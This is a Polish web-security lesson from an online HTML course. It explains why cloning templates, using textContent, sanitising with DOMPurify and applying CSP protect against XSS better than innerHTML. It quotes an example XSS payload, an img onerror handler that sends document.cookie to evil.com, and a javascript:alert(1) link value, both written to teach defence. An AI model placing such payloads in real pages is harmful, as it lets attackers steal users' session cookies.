HTML Academy · Lekcja

Szablony a bezpieczeństwo innerHTML

Poznanie powodów, dla których szablony są bezpieczniejsze niż ustawianie innerHTML

Lekcja 4 z 413 kroki

Szablony a bezpieczeństwo innerHTML to bezpłatna lekcja HTML Academy na CoddyKit. To lekcja 4 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej HTML Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs HTML Academy zawiera 4 lekcji w sumie.

Ryzyko wstrzyknięcia przez innerHTML

Ustawienie el.innerHTML = userInput powoduje zinterpretowanie ciągu jako HTML. Jeśli userInput zawiera <script> lub procedury obsługi zdarzeń, takie jak onerror, przeglądarka je wykona, tworząc podatność na Cross-Site Scripting (XSS).

Przykład XSS przez innerHTML

Atakujący przesyła nazwę użytkownika: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Jeśli zostanie ona wyrenderowana za pomocą innerHTML, procedura onerror zostanie uruchomiona i wyśle cookie sesji na zewnątrz. Zawartość tekstowa staje się wykonywalnym kodem.

textContent jest bezpieczny

el.textContent = userInput traktuje ciąg jako zwykły tekst — bez analizowania HTML i bez wykonywania skryptów. Przeglądarka automatycznie koduje znaki < i > w węzłach tekstowych. Zawsze używaj textContent dla wartości dostarczanych przez użytkownika.

// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;

Element template eliminuje analizowanie ciągów

Podczas używania template.cloneNode(true) struktura pochodzi ze wstępnie przeanalizowanego szablonu HTML, a nie z ciągu dostarczonego przez użytkownika. Ustawianie wartości za pomocą textContent w sklonowanych węzłach sprawia, że dane użytkownika pozostają w węzłach tekstowych i nigdy nie trafiają do analizowanego kodu HTML. Struktura i dane są rozdzielone.

Odkażanie, gdy potrzebny jest innerHTML

Jeśli wymagane jest formatowanie HTML dostarczane przez użytkowników (tekst sformatowany), przed ustawieniem innerHTML należy przeprowadzić odkażanie. DOMPurify to standardowa biblioteka: el.innerHTML = DOMPurify.sanitize(richHtml). Usuwa niebezpieczne znaczniki i atrybuty, zachowując bezpieczne formatowanie.

Ryzyko związane z insertAdjacentHTML

insertAdjacentHTML("beforeend", html) również analizuje ciągi HTML — wiąże się z takim samym ryzykiem XSS jak innerHTML. Stosuj te same zasady odkażania. Bezpieczniejsza alternatywa to tworzenie elementów za pomocą createElement, ustawianie ich textContent i używanie appendChild.

Bezpieczeństwo setAttribute

Ustawianie atrybutów z użyciem danych użytkownika może prowadzić do wstrzyknięcia: el.setAttribute("href", userUrl), gdzie userUrl ma wartość javascript:alert(1), powoduje utworzenie podatności XSS. Przed ustawieniem atrybutów href lub src sprawdzaj schematy URL — zezwalaj wyłącznie na http:, https: i mailto:.

DOM Clobbering

DOM clobbering to atak, w którym nazwane elementy formularza (id="getElementById") przesłaniają globalne zmienne JavaScript. Zawsze uzyskuj dostęp do elementów za pomocą document.getElementById(), zamiast korzystać z globalnych właściwości obiektu window. Content Security Policy również ogranicza skuteczność ataków DOM clobbering.

Polityka Trusted Types

Trusted Types (w przeglądarce Chrome, wymuszane przez CSP) wymagają, aby wszystkie miejsca używające innerHTML, insertAdjacentHTML i podobnych mechanizmów otrzymywały ciągi opakowane przez politykę. Nie można przypisywać surowych ciągów — dozwolone są wyłącznie wartości utworzone przez zadeklarowaną politykę TrustedTypes. Zapobiega to przypadkowemu pominięciu odkażania.

Bezpieczeństwo fragmentów dokumentu

Tworzenie elementów za pomocą API DOM (createElement, createTextNode) i manipulowanie nimi w obiekcie DocumentFragment jest z natury bezpieczne względem XSS — tekst zawsze pozostaje tekstem i nigdy nie jest analizowany jako HTML. DocumentFragment to najbezpieczniejszy sposób tworzenia złożonych, dynamicznych interfejsów.

Content Security Policy

Ścisła CSP (bez unsafe-inline, ze skryptami opartymi na nonce) stanowi dodatkową warstwę ochrony przed XSS. Nawet jeśli atakujący wstrzyknie HTML, CSP uniemożliwi wykonanie wstrzykniętych skryptów. CSP nie eliminuje potrzeby odkażania — jest siatką bezpieczeństwa, a nie podstawową ochroną.

Sprawdzenie wiedzy

Dlaczego textContent jest bezpieczniejsze niż innerHTML podczas renderowania danych dostarczonych przez użytkownika?

Podsumowanie

innerHTML i powiązane API analizują ciągi HTML, tworząc podatności XSS, gdy dane użytkownika są interpolowane bez odkażania. Używanie textContent, klonowanie szablonów z uzupełnianiem za pomocą textContent, DOMPurify dla tekstu sformatowanego oraz Content Security Policy tworzy wielowarstwową ochronę przed atakami polegającymi na wstrzykiwaniu HTML.

Bezpłatny start

Ucz się HTML dzięki korepetycjom AI — za darmo

Pisz i uruchamiaj kod w przeglądarce, otrzymuj natychmiastową pomoc od korepetytora AI dostępnego 24/7 i kontynuuj naukę w sieci lub w aplikacji.

Kursy
40
Lekcje
159

Często zadawane pytania

Czy lekcja „Szablony a bezpieczeństwo innerHTML” jest bezpłatna?

Tak — pełny tekst „Szablony a bezpieczeństwo innerHTML” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu HTML Academy, przejdź na CoddyKit PRO. Kurs HTML Academy zawiera 4 lekcji w sumie.

Co nauczysz się w „Szablony a bezpieczeństwo innerHTML”?

Poznanie powodów, dla których szablony są bezpieczniejsze niż ustawianie innerHTML Ćwiczysz HTML Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć HTML Academy?

Nie wymagamy żadnego doświadczenia. HTML Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 4 z 4.

Ile czasu zajmuje lekcja „Szablony a bezpieczeństwo innerHTML”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji HTML Academy?

Tak. Każda lekcja HTML Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

  1. Element template — nieaktywna treść
  2. Klonowanie szablonów za pomocą cloneNode
  3. Używanie template do renderowania za pomocą JavaScript
  4. Szablony a bezpieczeństwo innerHTML
← Powrót do HTML Academy